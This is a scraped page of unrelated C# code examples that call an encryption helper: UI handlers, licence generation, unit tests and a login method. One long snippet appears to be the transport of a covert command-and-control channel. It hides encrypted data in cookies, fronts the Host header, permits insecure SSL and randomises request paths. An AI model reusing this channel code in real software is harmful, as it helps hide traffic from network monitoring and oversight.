Esempio n. 1
0
 private void Encrypt()
 {
     try
     {
         if (TextMode.IsChecked ?? false)
         {
             DecryptTextBox.Text = cryptoHelper.Encrypt(EncryptTextBox.Text);
         }
         else if (FileMode.IsChecked ?? false)
         {
             var fileString      = File.ReadAllText(FileTextBox.Text);
             var encryptedString = cryptoHelper.Encrypt(fileString);
             SaveFile(CryptoMode.Encrypt, encryptedString);
         }
     }
     catch (FileNotFoundException ex)
     {
         MessageBoxResult result = MessageBox.Show("Selected file was not found.\n" + ex.Message,
                                                   "File not found",
                                                   MessageBoxButton.OK,
                                                   MessageBoxImage.Error);
         EncryptTextBox.Text = "";
     }
     catch (Exception ex)
     {
         MessageBoxResult result = MessageBox.Show("Message failed to decrypt, check that you are using the correct key and message.\n" + ex.Message,
                                                   "Message failed to encrypt",
                                                   MessageBoxButton.OK,
                                                   MessageBoxImage.Error);
         EncryptTextBox.Text = "";
     }
 }
        public string Generate(Licence licence, string serial)
        {
            var licencePack = new LicencePack
            {
                Licence = licence,
                Serial  = serial
            };

            string licencePackString = _objectHelper.Serialize <LicencePack>(licencePack);

            return(_encryptionHelper.Encrypt(licencePackString));
        }
        public void TestBasic()
        {
            string pw   = "hello world";
            string text = "the man who sold the world";

            var stretchBytes = pwStretch.Stretch(Encoding.UTF8.GetBytes(pw));
            var stretchedPW  = Convert.ToBase64String(stretchBytes);

            encryptHelper.SetKey(stretchedPW);

            var encrypted = encryptHelper.Encrypt(text);

            var decrypted = encryptHelper.Decrypt(encrypted);

            Assert.AreEqual(decrypted, text);
        }
Esempio n. 4
0
        public void Can_Encrypt_And_Decrypt_Streams()
        {
            using (var stream = _getResourceStream("G42.AesEncryption.Tests.Images.nsa.png"))
            {
                var base64PlainText = Convert.ToBase64String(_toByteArray(stream));

                stream.Position = 0;

                using (var encryptedStream = _encryptionHelper.Encrypt(stream))
                {
                    var base64CipherText = Convert.ToBase64String(_toByteArray(encryptedStream));

                    Assert.AreNotEqual(base64CipherText, base64PlainText);

                    encryptedStream.Position = 0;

                    var decryptedStream = _encryptionHelper.Decrypt(encryptedStream);

                    var base64DecryptedPlainText = Convert.ToBase64String(_toByteArray(decryptedStream));

                    Assert.AreEqual(base64PlainText, base64DecryptedPlainText);
                }
            }
        }
Esempio n. 5
0
        public List <byte> Send(String sessionPayload, String status, List <byte> payload, out bool commandChannelDead)
        {
            commandChannelDead = false;

            if (String.IsNullOrWhiteSpace(status))
            {
                status = "nochange";
            }

            var sessionAndStatus        = sessionPayload + ":" + status;
            var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList());

            var         cookies = new CookieContainer();
            WebClientEx wc      = null;

            if (!String.IsNullOrWhiteSpace(_config.HostHeader))
            {
                wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL)
                {
                    UserAgent = _config.UserAgent
                }
            }
            ;
            else
            {
                wc = new WebClientEx(cookies, _config.InsecureSSL)
                {
                    UserAgent = _config.UserAgent
                }
            };

            if (_config.UseProxy)
            {
                if (null == _config.WebProxy)
                {
                    wc.Proxy = HttpWebRequest.GetSystemWebProxy();
                }
                else
                {
                    wc.Proxy = _config.WebProxy;
                }
            }
            wc.Headers.Add("Host", _config.HostHeader);

            cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}")
            {
                Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host
            });

            string encPayload = null;

            if (null != payload && payload.Count > 0)
            {
                try
                {
                    encPayload = _encryption.Encrypt(payload);
                    if (String.IsNullOrWhiteSpace(encPayload))
                    {
                        _error.LogError("Encrypted payload was null, it shouldn't be");
                        if (!InitialConnectionSucceded.HasValue)
                        {
                            InitialConnectionSucceded = false;
                        }
                        return(null);
                    }
                }
                catch (Exception ex)
                {
                    _error.LogError(ex.Message);
                    return(null);
                }
            }

            bool   retryRequired = false;
            Int32  retryInterval = 2000;
            UInt16 retryCount    = 0;
            Guid   errorId       = Guid.NewGuid();

            //This is only if the command channel has failed first time
            do
            {
                try
                {
                    String response = null;
                    if (encPayload != null && encPayload.Count() > 4096)
                    {
                        response = wc.UploadString(BuildServerURI(), encPayload);
                    }
                    else
                    {
                        if (null != _config.HostHeader)
                        {
                            if (wc.Headers.AllKeys.Contains("Host"))
                            {
                                if (wc.Headers["Host"] != _config.HostHeader)
                                {
                                    wc.Headers["Host"] = _config.HostHeader;
                                }
                            }
                            else
                            {
                                wc.Headers.Add("Host", _config.HostHeader);
                            }
                        }
                        if (payload != null && payload.Count() > 0)
                        {
                            cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}")
                            {
                                Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host
                            });
                        }

                        response = wc.DownloadString(BuildServerURI());
                    }

                    if (!InitialConnectionSucceded.HasValue)
                    {
                        InitialConnectionSucceded = true;
                    }

                    if (null != response && response.Count() > 0)
                    {
                        return(_encryption.Decrypt(response));
                    }
                    else
                    {
                        return(new List <byte>());
                    }
                }
                catch (System.Net.WebException ex)
                {
                    var lst = new List <String>();
                    if (WebExceptionAnalyzer.IsTransient(ex))
                    {
                        if (15 > retryCount++)
                        {
                            _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}");
                            retryRequired = true;

                            if (retryInterval++ > 2)
                            {
                                retryInterval += retryInterval;
                            }

                            Timeout.WaitOne(retryInterval);
                        }
                        else
                        {
                            _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}");
                            commandChannelDead = true;
                            return(null);
                        }
                    }
                    else if (sessionPayload == _config.CommandChannelSessionId)
                    {
                        if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval))
                        {
                            lst.Add("Command channel re-tried connection 5 times giving up");
                            ReportErrorWebException(ex, lst, errorId);
                            commandChannelDead = true;
                            return(null);
                        }
                        retryRequired = true;
                    }
                    else
                    {
                        ReportErrorWebException(ex, lst, errorId);
                        if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode)
                        {
                            if (_error.VerboseErrors)
                            {
                                _error.LogError(String.Format($"Connection on server has been killed"));
                            }
                        }
                        else
                        {
                            _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}"));
                        }
                        return(null);
                    }
                }
            } while (retryRequired);

            if (!InitialConnectionSucceded.HasValue)
            {
                commandChannelDead        = true;
                InitialConnectionSucceded = false;
            }

            return(null);
        }

        bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval)
        {
            if (5 <= retryCount++)
            {
                return(retryRequired = false);
            }

            _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms");
            Timeout.WaitOne(retryInterval);
            retryInterval += retryInterval;
            return(true);
        }

        Uri BuildServerURI(String payload = null)
        {
            if (null != _config.Tamper)
            {
                return(new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload)));
            }

            if (_config.URLPaths.Count() == 0)
            {
                return(new Uri(_config.URL, "Upload"));
            }
            else
            {
                var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())];
                return(new Uri(_config.URL, path));
            }
        }

        void ReportErrorWebException(System.Net.WebException ex, List <String> lst, Guid errorId)
        {
            lst.Add(ex.Message);
            lst.Add(ex.Status.ToString());
            lst.Add(_config.CommandServerUI.ToString());
            lst.Add(errorId.ToString());
            _error.LogError(lst);
        }
    }
Esempio n. 6
0
        public async Task <bool> Login(string email, string password)
        {
            var response = await _auth.AuthorizeUser(email, _encryptionHelper.Encrypt(password));

            return(response);
        }